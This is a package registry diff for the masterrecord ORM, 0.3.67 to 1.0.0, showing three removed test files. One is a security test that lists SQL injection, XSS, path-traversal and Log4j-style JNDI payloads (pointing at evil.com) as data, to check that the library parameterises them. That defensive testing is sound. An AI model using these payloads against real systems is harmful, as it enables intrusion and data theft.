masterrecord 0.3.67 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. package/.claude/settings.local.json +3 -1
  2. package/CHANGES.md +31 -2
  3. package/Cache/QueryCache.js +10 -4
  4. package/Cache/RedisQueryCache.js +3 -2
  5. package/Entity/entityModel.js +1 -1
  6. package/Entity/entityModelBuilder.js +2 -2
  7. package/Entity/entityTrackerModel.js +3 -3
  8. package/Entity/fieldTransformer.js +1 -1
  9. package/FOREIGN_KEY_STRING_FIX.md +2 -2
  10. package/MasterRecord.js +6 -43
  11. package/Migrations/cli.js +70 -83
  12. package/Migrations/dependencyGraph.js +1 -1
  13. package/Migrations/migrationMySQLQuery.js +1 -1
  14. package/Migrations/migrationPostgresQuery.js +1 -1
  15. package/Migrations/migrationSQLiteQuery.js +1 -1
  16. package/Migrations/migrationTemplate.js +10 -10
  17. package/Migrations/migrations.js +14 -12
  18. package/Migrations/pathUtils.js +2 -5
  19. package/Migrations/pathUtils.test.js +33 -49
  20. package/Migrations/schema.js +52 -89
  21. package/QueryLanguage/queryMethods.js +4 -4
  22. package/QueryLanguage/queryParameters.js +1 -1
  23. package/QueryLanguage/queryScript.js +4 -3
  24. package/SQLLiteEngine.js +26 -7
  25. package/Tools.js +10 -8
  26. package/context.js +43 -42
  27. package/deleteManager.js +2 -2
  28. package/docs/MIGRATIONS_GUIDE.md +237 -532
  29. package/docs/POSTGRESQL_SETUP.md +4 -4
  30. package/docs/QUERY_CACHING_GUIDE.md +8 -7
  31. package/eslint.config.js +40 -0
  32. package/insertManager.js +28 -20
  33. package/mySQLConnect.js +2 -2
  34. package/mySQLEngine.js +26 -6
  35. package/package.json +34 -5
  36. package/postgresEngine.js +29 -8
  37. package/postgresSyncConnect.js +5 -3
  38. package/prettier.config.js +22 -0
  39. package/readme.md +35 -27
  40. package/test/context-errors.test.js +43 -0
  41. package/test/esm-imports.test.js +110 -0
  42. package/test/fixtures/new-setter-large-string/config/environments/env.newsetter.json +1 -0
  43. package/test/fixtures/new-setter-large-string/db/newsettercontext.sqlite +0 -0
  44. package/test/fixtures/sqlite-lifecycle/config/environments/env.test.json +1 -0
  45. package/test/fixtures/sqlite-lifecycle/db/lifecyclecontext.sqlite +0 -0
  46. package/test/migration-template.test.js +47 -0
  47. package/test/new-setter-large-string.test.js +191 -0
  48. package/test/pool-key.test.js +43 -0
  49. package/test/sqlite-lifecycle.test.js +76 -0
  50. package/.eslintrc.js +0 -290
  51. package/.prettierrc.js +0 -109
  52. package/test/anyCommaStringTest.js +0 -237
  53. package/test/anyMethodTest.js +0 -176
  54. package/test/attachDetached.test.js +0 -303
  55. package/test/bulk-operations-test.js +0 -235
  56. package/test/cache-toObject-test.js +0 -105
  57. package/test/cacheIntegration.test.js +0 -319
  58. package/test/config-glob-pattern-test.js +0 -232
  59. package/test/double-where-bug-test.js +0 -71
  60. package/test/ensure-ready-test.js +0 -251
  61. package/test/entity-deduplication-test.js +0 -174
  62. package/test/entity-methods-test.js +0 -269
  63. package/test/findByIdTest.js +0 -227
  64. package/test/foreign-key-string-value-test.js +0 -406
  65. package/test/global-model-registry-test.js +0 -538
  66. package/test/id-setting-validation.js +0 -202
  67. package/test/includesFeatureTest.js +0 -183
  68. package/test/includesTransformTest.js +0 -110
  69. package/test/index-bug-fix-test.js +0 -188
  70. package/test/insert-return-test.js +0 -39
  71. package/test/lifecycle-hooks-test.js +0 -258
  72. package/test/multiContextCache.test.js +0 -230
  73. package/test/new-entity-migration-test.js +0 -162
  74. package/test/newMethodTest.js +0 -330
  75. package/test/newMethodUnitTest.js +0 -320
  76. package/test/optInCache.test.js +0 -221
  77. package/test/parameterizedPlaceholderTest.js +0 -159
  78. package/test/pool-registry-test.js +0 -303
  79. package/test/post-insert-tracking-test.js +0 -258
  80. package/test/postgresEngineTest.js +0 -463
  81. package/test/postgresIntegrationTest.js +0 -381
  82. package/test/promise-detection-test.js +0 -290
  83. package/test/qa-context-pattern-test.js +0 -319
  84. package/test/query-helpers-test.js +0 -258
  85. package/test/query-isolation-test.js +0 -59
  86. package/test/queryCache.test.js +0 -148
  87. package/test/securityTest.js +0 -268
  88. package/test/seed-data-test.js +0 -212
  89. package/test/seed-deduplication-test.js +0 -313
  90. package/test/seed-features-integration-test.js +0 -418
  91. package/test/seed-migration-template-test.js +0 -220
  92. package/test/singleDollarPlaceholderTest.js +0 -238
  93. package/test/tablePrefixTest.js +0 -100
  94. package/test/transformerTest.js +0 -287
  95. package/test/v0.3.34-bug-fixes-test.js +0 -428
  96. package/test/validation-test.js +0 -302
  97. package/test/whereChainingTest.js +0 -88
@@ -1,148 +0,0 @@
1
- const assert = require('assert');
2
- const QueryCache = require('../Cache/QueryCache');
3
-
4
- describe('QueryCache', () => {
5
- let cache;
6
-
7
- beforeEach(() => {
8
- cache = new QueryCache({ ttl: 1000, maxSize: 3 });
9
- });
10
-
11
- test('cache miss returns null', () => {
12
- const key = cache.generateKey('SELECT * FROM users', [], 'users');
13
- assert.strictEqual(cache.get(key), null);
14
- });
15
-
16
- test('cache hit returns stored data', () => {
17
- const key = cache.generateKey('SELECT * FROM users', [], 'users');
18
- const data = [{ id: 1, name: 'John' }];
19
-
20
- cache.set(key, data, 'users');
21
- const cached = cache.get(key);
22
-
23
- assert.deepStrictEqual(cached, data);
24
- });
25
-
26
- test('TTL expiration removes entries', (done) => {
27
- const key = cache.generateKey('SELECT * FROM users', [], 'users');
28
- cache.set(key, { id: 1 }, 'users');
29
-
30
- setTimeout(() => {
31
- assert.strictEqual(cache.get(key), null);
32
- done();
33
- }, 1100); // Wait for TTL expiration
34
- });
35
-
36
- test('LRU eviction removes oldest entry', () => {
37
- cache.set('key1', 'data1', 'table1');
38
- cache.set('key2', 'data2', 'table2');
39
- cache.set('key3', 'data3', 'table3');
40
-
41
- // Access key1 to make it recently used
42
- cache.get('key1');
43
-
44
- // Add key4 - should evict key2 (least recently used)
45
- cache.set('key4', 'data4', 'table4');
46
-
47
- assert.strictEqual(cache.get('key1'), 'data1'); // Still in cache
48
- assert.strictEqual(cache.get('key2'), null); // Evicted
49
- assert.strictEqual(cache.get('key3'), 'data3'); // Still in cache
50
- assert.strictEqual(cache.get('key4'), 'data4'); // Newly added
51
- });
52
-
53
- test('invalidateTable removes all entries for table', () => {
54
- cache.set('key1', 'data1', 'users');
55
- cache.set('key2', 'data2', 'users');
56
- cache.set('key3', 'data3', 'posts');
57
-
58
- cache.invalidateTable('users');
59
-
60
- assert.strictEqual(cache.get('key1'), null);
61
- assert.strictEqual(cache.get('key2'), null);
62
- assert.strictEqual(cache.get('key3'), 'data3'); // Different table
63
- });
64
-
65
- test('getStats returns accurate metrics', () => {
66
- const key1 = cache.generateKey('query1', [], 'users');
67
- const key2 = cache.generateKey('query2', [], 'posts');
68
-
69
- cache.set(key1, 'data1', 'users');
70
- cache.get(key1); // Hit
71
- cache.get(key2); // Miss
72
-
73
- const stats = cache.getStats();
74
- assert.strictEqual(stats.size, 1);
75
- assert.strictEqual(stats.hits, 1);
76
- assert.strictEqual(stats.misses, 1);
77
- assert.strictEqual(stats.hitRate, '50.00%');
78
- });
79
-
80
- test('clear removes all cache entries', () => {
81
- const key1 = cache.generateKey('query1', [], 'users');
82
- const key2 = cache.generateKey('query2', [], 'posts');
83
-
84
- cache.set(key1, 'data1', 'users');
85
- cache.set(key2, 'data2', 'posts');
86
-
87
- assert.strictEqual(cache.cache.size, 2);
88
-
89
- cache.clear();
90
-
91
- assert.strictEqual(cache.cache.size, 0);
92
- assert.strictEqual(cache.hitCount, 0);
93
- assert.strictEqual(cache.missCount, 0);
94
- });
95
-
96
- test('disabled cache does not store or retrieve data', () => {
97
- cache.enabled = false;
98
-
99
- const key = cache.generateKey('SELECT * FROM users', [], 'users');
100
- cache.set(key, 'data', 'users');
101
-
102
- assert.strictEqual(cache.get(key), null);
103
- assert.strictEqual(cache.cache.size, 0);
104
- });
105
-
106
- test('generateKey creates consistent keys for same query', () => {
107
- const key1 = cache.generateKey('SELECT * FROM users WHERE id = ?', [1], 'users');
108
- const key2 = cache.generateKey('SELECT * FROM users WHERE id = ?', [1], 'users');
109
- const key3 = cache.generateKey('SELECT * FROM users WHERE id = ?', [2], 'users');
110
-
111
- assert.strictEqual(key1, key2); // Same query + params = same key
112
- assert.notStrictEqual(key1, key3); // Different params = different key
113
- });
114
-
115
- test('generateKey normalizes whitespace', () => {
116
- const key1 = cache.generateKey('SELECT * FROM users', [], 'users');
117
- const key2 = cache.generateKey('SELECT * FROM users', [], 'users');
118
-
119
- assert.strictEqual(key1, key2); // Whitespace normalized
120
- });
121
-
122
- test('cache updates lastAccess on hit', () => {
123
- const key = cache.generateKey('query', [], 'users');
124
- cache.set(key, 'data', 'users');
125
-
126
- const entry1 = cache.cache.get(key);
127
- const originalAccess = entry1.lastAccess;
128
-
129
- // Wait a bit
130
- setTimeout(() => {
131
- cache.get(key);
132
- const entry2 = cache.cache.get(key);
133
- assert(entry2.lastAccess > originalAccess);
134
- }, 10);
135
- });
136
-
137
- test('cache tracks hit count per entry', () => {
138
- const key = cache.generateKey('query', [], 'users');
139
- cache.set(key, 'data', 'users');
140
-
141
- cache.get(key);
142
- cache.get(key);
143
- cache.get(key);
144
-
145
- const entry = cache.cache.get(key);
146
- assert.strictEqual(entry.hits, 3);
147
- });
148
- });
@@ -1,268 +0,0 @@
1
- /**
2
- * Comprehensive Security Test Suite
3
- *
4
- * This test suite validates that MasterRecord is protected against SQL injection
5
- * attacks across all operations: SELECT, INSERT, UPDATE, DELETE
6
- *
7
- * All tests should PASS, meaning malicious input is properly escaped/parameterized
8
- */
9
-
10
- const QueryParameters = require('../QueryLanguage/queryParameters');
11
-
12
- console.log("╔════════════════════════════════════════════════════════════════╗");
13
- console.log("║ MasterRecord Security Test Suite ║");
14
- console.log("╚════════════════════════════════════════════════════════════════╝\n");
15
-
16
- // Test 1: QueryParameters Class Validation
17
- console.log("📝 Test 1: QueryParameters - Type Validation");
18
- console.log("──────────────────────────────────────────────────────────────");
19
-
20
- const params = new QueryParameters();
21
- let passed = 0;
22
- let failed = 0;
23
-
24
- // Test 1a: Valid types should be accepted
25
- const validValues = [
26
- { value: 42, type: "integer" },
27
- { value: "test", type: "string" },
28
- { value: true, type: "boolean" },
29
- { value: 3.14, type: "number" },
30
- { value: null, type: "null" }
31
- ];
32
-
33
- console.log("\n✅ Testing valid values:");
34
- for(const test of validValues){
35
- try {
36
- params.validateValue(test.value);
37
- console.log(` ✓ ${test.type}: ${JSON.stringify(test.value)} - ACCEPTED`);
38
- passed++;
39
- } catch(err) {
40
- console.log(` ✗ ${test.type}: ${JSON.stringify(test.value)} - REJECTED (should accept)`);
41
- failed++;
42
- }
43
- }
44
-
45
- // Test 1b: Invalid types should be rejected
46
- const invalidValues = [
47
- { value: {key: "value"}, type: "object" },
48
- { value: () => "test", type: "function" },
49
- { value: Symbol("test"), type: "symbol" },
50
- { value: undefined, type: "undefined" }
51
- ];
52
-
53
- console.log("\n🔒 Testing invalid values (should be rejected):");
54
- for(const test of invalidValues){
55
- try {
56
- params.validateValue(test.value);
57
- console.log(` ✗ ${test.type}: ACCEPTED (should reject)`);
58
- failed++;
59
- } catch(err) {
60
- console.log(` ✓ ${test.type}: REJECTED - ${err.message}`);
61
- passed++;
62
- }
63
- }
64
-
65
- // Test 2: SQL Injection Attempts in String Parameters
66
- console.log("\n\n📝 Test 2: SQL Injection in String Parameters");
67
- console.log("──────────────────────────────────────────────────────────");
68
-
69
- const sqlInjectionAttempts = [
70
- "admin' OR '1'='1",
71
- "'; DROP TABLE users;--",
72
- "admin'--",
73
- "' UNION SELECT * FROM passwords--",
74
- "1' AND 1=1 UNION SELECT NULL, username, password FROM users--",
75
- "<script>alert('XSS')</script>",
76
- "../../etc/passwd",
77
- "${jndi:ldap://evil.com/a}", // Log4j style
78
- "..\\..\\..\\windows\\system32\\config\\sam"
79
- ];
80
-
81
- console.log("\n🔒 Testing SQL injection attempts (all should be safely parameterized):");
82
- params.reset();
83
- for(const attempt of sqlInjectionAttempts){
84
- try {
85
- params.validateValue(attempt);
86
- const placeholder = params.addParam(attempt, 'sqlite');
87
- console.log(` ✓ Input: ${attempt.substring(0, 40)}...`);
88
- console.log(` Placeholder: ${placeholder} (value stored separately)`);
89
- passed++;
90
- } catch(err) {
91
- console.log(` ✗ Failed to handle: ${attempt}`);
92
- console.log(` Error: ${err.message}`);
93
- failed++;
94
- }
95
- }
96
-
97
- // Test 3: Array Parameters (for IN clauses)
98
- console.log("\n\n📝 Test 3: Array Parameters for IN Clauses");
99
- console.log("──────────────────────────────────────────────────────────");
100
-
101
- const arrayTests = [
102
- {
103
- name: "Valid integer array",
104
- value: [1, 2, 3, 4, 5],
105
- shouldPass: true
106
- },
107
- {
108
- name: "Valid string array",
109
- value: ["Alice", "Bob", "Charlie"],
110
- shouldPass: true
111
- },
112
- {
113
- name: "Array with SQL injection attempts",
114
- value: ["Alice", "Bob'; DROP TABLE users;--", "Charlie"],
115
- shouldPass: true // Should accept but parameterize safely
116
- },
117
- {
118
- name: "Empty array",
119
- value: [],
120
- shouldPass: false // Should reject
121
- },
122
- {
123
- name: "Array with objects",
124
- value: [{id: 1}, {id: 2}],
125
- shouldPass: false // Should reject objects
126
- }
127
- ];
128
-
129
- console.log("\n🔒 Testing array parameter handling:");
130
- for(const test of arrayTests){
131
- params.reset();
132
- try {
133
- // Validate each element
134
- for(const val of test.value){
135
- params.validateValue(val);
136
- }
137
-
138
- // Try to add as array
139
- const placeholders = params.addParams(test.value, 'sqlite');
140
-
141
- if(test.shouldPass){
142
- console.log(` ✓ ${test.name}: ACCEPTED`);
143
- console.log(` Placeholders: ${placeholders}`);
144
- console.log(` Values: ${JSON.stringify(params.getParams())}`);
145
- passed++;
146
- } else {
147
- console.log(` ✗ ${test.name}: ACCEPTED (should reject)`);
148
- failed++;
149
- }
150
- } catch(err) {
151
- if(!test.shouldPass){
152
- console.log(` ✓ ${test.name}: REJECTED - ${err.message}`);
153
- passed++;
154
- } else {
155
- console.log(` ✗ ${test.name}: REJECTED (should accept)`);
156
- console.log(` Error: ${err.message}`);
157
- failed++;
158
- }
159
- }
160
- }
161
-
162
- // Test 4: Special Characters in Different Databases
163
- console.log("\n\n📝 Test 4: Placeholder Generation for Different Databases");
164
- console.log("──────────────────────────────────────────────────────────");
165
-
166
- const dbTests = [
167
- { db: 'sqlite', expected: '?' },
168
- { db: 'mysql', expected: '?' },
169
- { db: 'postgres', expectedPattern: /^\$\d+$/ }
170
- ];
171
-
172
- console.log("\n✅ Testing database-specific placeholder generation:");
173
- for(const test of dbTests){
174
- params.reset();
175
- try {
176
- const placeholder = params.addParam("test", test.db);
177
-
178
- if(test.expected){
179
- if(placeholder === test.expected){
180
- console.log(` ✓ ${test.db}: ${placeholder} - CORRECT`);
181
- passed++;
182
- } else {
183
- console.log(` ✗ ${test.db}: ${placeholder} (expected ${test.expected})`);
184
- failed++;
185
- }
186
- } else if(test.expectedPattern){
187
- if(test.expectedPattern.test(placeholder)){
188
- console.log(` ✓ ${test.db}: ${placeholder} - CORRECT`);
189
- passed++;
190
- } else {
191
- console.log(` ✗ ${test.db}: ${placeholder} (expected pattern ${test.expectedPattern})`);
192
- failed++;
193
- }
194
- }
195
- } catch(err) {
196
- console.log(` ✗ ${test.db}: ERROR - ${err.message}`);
197
- failed++;
198
- }
199
- }
200
-
201
- // Test 5: Edge Cases
202
- console.log("\n\n📝 Test 5: Edge Cases");
203
- console.log("──────────────────────────────────────────────────────────");
204
-
205
- const edgeCases = [
206
- { name: "Empty string", value: "", shouldPass: true },
207
- { name: "Very long string", value: "a".repeat(10000), shouldPass: true },
208
- { name: "Unicode characters", value: "Hello 世界 🌍", shouldPass: true },
209
- { name: "Newlines and tabs", value: "Line1\nLine2\tTab", shouldPass: true },
210
- { name: "Single quote", value: "O'Reilly", shouldPass: true },
211
- { name: "Double quote", value: 'He said "Hello"', shouldPass: true },
212
- { name: "Backslash", value: "C:\\Users\\test", shouldPass: true },
213
- { name: "Null byte", value: "test\x00null", shouldPass: true }
214
- ];
215
-
216
- console.log("\n✅ Testing edge cases:");
217
- params.reset();
218
- for(const test of edgeCases){
219
- try {
220
- params.validateValue(test.value);
221
- params.addParam(test.value, 'sqlite');
222
-
223
- if(test.shouldPass){
224
- console.log(` ✓ ${test.name}: ACCEPTED`);
225
- passed++;
226
- } else {
227
- console.log(` ✗ ${test.name}: ACCEPTED (should reject)`);
228
- failed++;
229
- }
230
- } catch(err) {
231
- if(!test.shouldPass){
232
- console.log(` ✓ ${test.name}: REJECTED - ${err.message}`);
233
- passed++;
234
- } else {
235
- console.log(` ✗ ${test.name}: REJECTED (should accept)`);
236
- console.log(` Error: ${err.message}`);
237
- failed++;
238
- }
239
- }
240
- }
241
-
242
- // Summary
243
- console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
244
- console.log("║ Test Summary ║");
245
- console.log("╚════════════════════════════════════════════════════════════════╝");
246
-
247
- const total = passed + failed;
248
- const successRate = Math.round((passed/total)*100);
249
-
250
- console.log(`\n Total Tests: ${total}`);
251
- console.log(` ✅ Passed: ${passed}`);
252
- console.log(` ❌ Failed: ${failed}`);
253
- console.log(` Success Rate: ${successRate}%\n`);
254
-
255
- if(failed === 0){
256
- console.log("🎉 All security tests passed!");
257
- console.log("\n🔒 Security Status: PROTECTED");
258
- console.log(" ✓ SQL injection attempts are safely parameterized");
259
- console.log(" ✓ Array parameters are properly validated");
260
- console.log(" ✓ Special characters are handled correctly");
261
- console.log(" ✓ Edge cases are managed safely");
262
- console.log("\n✅ MasterRecord is production-ready from a security perspective!");
263
- process.exit(0);
264
- } else {
265
- console.log("⚠️ Some security tests failed!");
266
- console.log(" Review the failed tests and fix the issues before deploying.");
267
- process.exit(1);
268
- }
@@ -1,212 +0,0 @@
1
- /**
2
- * Test: Context-Level Seed Data API
3
- *
4
- * Verifies that the seed data API works correctly:
5
- * - Chainable .seed() method
6
- * - Array and single object support
7
- * - Backward compatibility
8
- */
9
-
10
- console.log("╔════════════════════════════════════════════════════════════════╗");
11
- console.log("║ Context-Level Seed Data API Test ║");
12
- console.log("╚════════════════════════════════════════════════════════════════╝\n");
13
-
14
- let passed = 0;
15
- let failed = 0;
16
-
17
- // Simulate the context class with seed data functionality
18
- class SimulatedContext {
19
- constructor() {
20
- this.__contextSeedData = {};
21
- }
22
-
23
- dbset(model, name) {
24
- const tableName = name || model.name;
25
-
26
- // Simulate entity registration
27
- // (simplified - real implementation does more)
28
-
29
- // Return chainable object with seed() method
30
- return {
31
- seed: (data) => this.#addSeedData(tableName, data)
32
- };
33
- }
34
-
35
- #addSeedData(tableName, data) {
36
- // Initialize seed data storage if not exists
37
- if (!this.__contextSeedData) {
38
- this.__contextSeedData = {};
39
- }
40
- if (!this.__contextSeedData[tableName]) {
41
- this.__contextSeedData[tableName] = [];
42
- }
43
-
44
- // Handle both single object and array of objects
45
- const records = Array.isArray(data) ? data : [data];
46
- this.__contextSeedData[tableName].push(...records);
47
-
48
- // Return chainable object for more .seed() calls
49
- return {
50
- seed: (moreData) => this.#addSeedData(tableName, moreData)
51
- };
52
- }
53
- }
54
-
55
- // Test entities
56
- class User {
57
- static name = 'User';
58
- }
59
- class Post {
60
- static name = 'Post';
61
- }
62
- class Category {
63
- static name = 'Category';
64
- }
65
- class Tag {
66
- static name = 'Tag';
67
- }
68
-
69
- function test(description, fn) {
70
- try {
71
- fn();
72
- console.log(`✓ ${description}`);
73
- passed++;
74
- } catch (error) {
75
- console.log(`✗ ${description}`);
76
- console.log(` Error: ${error.message}`);
77
- failed++;
78
- }
79
- }
80
-
81
- function assertEquals(actual, expected, message) {
82
- if (actual !== expected) {
83
- throw new Error(`${message}: expected ${expected}, got ${actual}`);
84
- }
85
- }
86
-
87
- function assertDefined(value, message) {
88
- if (value === undefined || value === null) {
89
- throw new Error(`${message}: value is ${value}`);
90
- }
91
- }
92
-
93
- // Run tests
94
- console.log("Running tests...\n");
95
-
96
- test("Context initializes with empty seed data", () => {
97
- const ctx = new SimulatedContext();
98
- assertDefined(ctx.__contextSeedData, "Context should have __contextSeedData");
99
- });
100
-
101
- test("Single seed record is stored correctly", () => {
102
- const ctx = new SimulatedContext();
103
- ctx.dbset(User).seed({
104
- name: 'Admin User',
105
- email: 'admin@example.com'
106
- });
107
-
108
- assertDefined(ctx.__contextSeedData.User, "User seed data should exist");
109
- assertEquals(ctx.__contextSeedData.User.length, 1, "Should have 1 User record");
110
- assertEquals(ctx.__contextSeedData.User[0].name, 'Admin User', "User name should match");
111
- assertEquals(ctx.__contextSeedData.User[0].email, 'admin@example.com', "User email should match");
112
- });
113
-
114
- test("Chainable seed calls accumulate data", () => {
115
- const ctx = new SimulatedContext();
116
- ctx.dbset(Post)
117
- .seed({ title: 'First Post', content: 'Hello World' })
118
- .seed({ title: 'Second Post', content: 'Testing seed' });
119
-
120
- assertDefined(ctx.__contextSeedData.Post, "Post seed data should exist");
121
- assertEquals(ctx.__contextSeedData.Post.length, 2, "Should have 2 Post records");
122
- assertEquals(ctx.__contextSeedData.Post[0].title, 'First Post', "First post title should match");
123
- assertEquals(ctx.__contextSeedData.Post[1].title, 'Second Post', "Second post title should match");
124
- });
125
-
126
- test("Array seed syntax works", () => {
127
- const ctx = new SimulatedContext();
128
- ctx.dbset(Category).seed([
129
- { name: 'Technology' },
130
- { name: 'Business' },
131
- { name: 'Science' }
132
- ]);
133
-
134
- assertDefined(ctx.__contextSeedData.Category, "Category seed data should exist");
135
- assertEquals(ctx.__contextSeedData.Category.length, 3, "Should have 3 Category records");
136
- assertEquals(ctx.__contextSeedData.Category[0].name, 'Technology', "First category should match");
137
- assertEquals(ctx.__contextSeedData.Category[1].name, 'Business', "Second category should match");
138
- assertEquals(ctx.__contextSeedData.Category[2].name, 'Science', "Third category should match");
139
- });
140
-
141
- test("Backward compatibility - dbset without seed works", () => {
142
- const ctx = new SimulatedContext();
143
- const result = ctx.dbset(Tag); // No seed call
144
-
145
- // Should return chainable object but Tag seed data shouldn't exist yet
146
- assertDefined(result, "dbset should return an object");
147
- assertDefined(result.seed, "returned object should have seed method");
148
- });
149
-
150
- test("Multiple dbset calls for different entities", () => {
151
- const ctx = new SimulatedContext();
152
-
153
- ctx.dbset(User).seed({ name: 'Alice' });
154
- ctx.dbset(Post).seed({ title: 'Post 1' });
155
- ctx.dbset(Category).seed({ name: 'Tech' });
156
-
157
- assertDefined(ctx.__contextSeedData.User, "User seed data should exist");
158
- assertDefined(ctx.__contextSeedData.Post, "Post seed data should exist");
159
- assertDefined(ctx.__contextSeedData.Category, "Category seed data should exist");
160
- assertEquals(ctx.__contextSeedData.User.length, 1, "Should have 1 User");
161
- assertEquals(ctx.__contextSeedData.Post.length, 1, "Should have 1 Post");
162
- assertEquals(ctx.__contextSeedData.Category.length, 1, "Should have 1 Category");
163
- });
164
-
165
- test("Mixed single and array seed calls", () => {
166
- const ctx = new SimulatedContext();
167
-
168
- ctx.dbset(Post)
169
- .seed({ title: 'Post 1' })
170
- .seed([
171
- { title: 'Post 2' },
172
- { title: 'Post 3' }
173
- ])
174
- .seed({ title: 'Post 4' });
175
-
176
- assertEquals(ctx.__contextSeedData.Post.length, 4, "Should have 4 Post records");
177
- assertEquals(ctx.__contextSeedData.Post[0].title, 'Post 1', "Post 1 title should match");
178
- assertEquals(ctx.__contextSeedData.Post[1].title, 'Post 2', "Post 2 title should match");
179
- assertEquals(ctx.__contextSeedData.Post[2].title, 'Post 3', "Post 3 title should match");
180
- assertEquals(ctx.__contextSeedData.Post[3].title, 'Post 4', "Post 4 title should match");
181
- });
182
-
183
- test("Seed data is isolated per table", () => {
184
- const ctx = new SimulatedContext();
185
-
186
- ctx.dbset(User).seed({ name: 'User 1' });
187
- ctx.dbset(User).seed({ name: 'User 2' });
188
- ctx.dbset(Post).seed({ title: 'Post 1' });
189
-
190
- assertEquals(ctx.__contextSeedData.User.length, 2, "Should have 2 User records");
191
- assertEquals(ctx.__contextSeedData.Post.length, 1, "Should have 1 Post record");
192
- });
193
-
194
- test("Empty array seed is handled", () => {
195
- const ctx = new SimulatedContext();
196
- ctx.dbset(Category).seed([]);
197
-
198
- // Empty array should still create the table entry but with 0 records
199
- assertEquals(ctx.__contextSeedData.Category.length, 0, "Should have 0 Category records");
200
- });
201
-
202
- // Print summary
203
- console.log("\n" + "─".repeat(64));
204
- console.log(`Tests completed: ${passed} passed, ${failed} failed`);
205
-
206
- if (failed > 0) {
207
- console.log("\n❌ Some tests failed");
208
- process.exit(1);
209
- } else {
210
- console.log("\n✅ All tests passed!");
211
- process.exit(0);
212
- }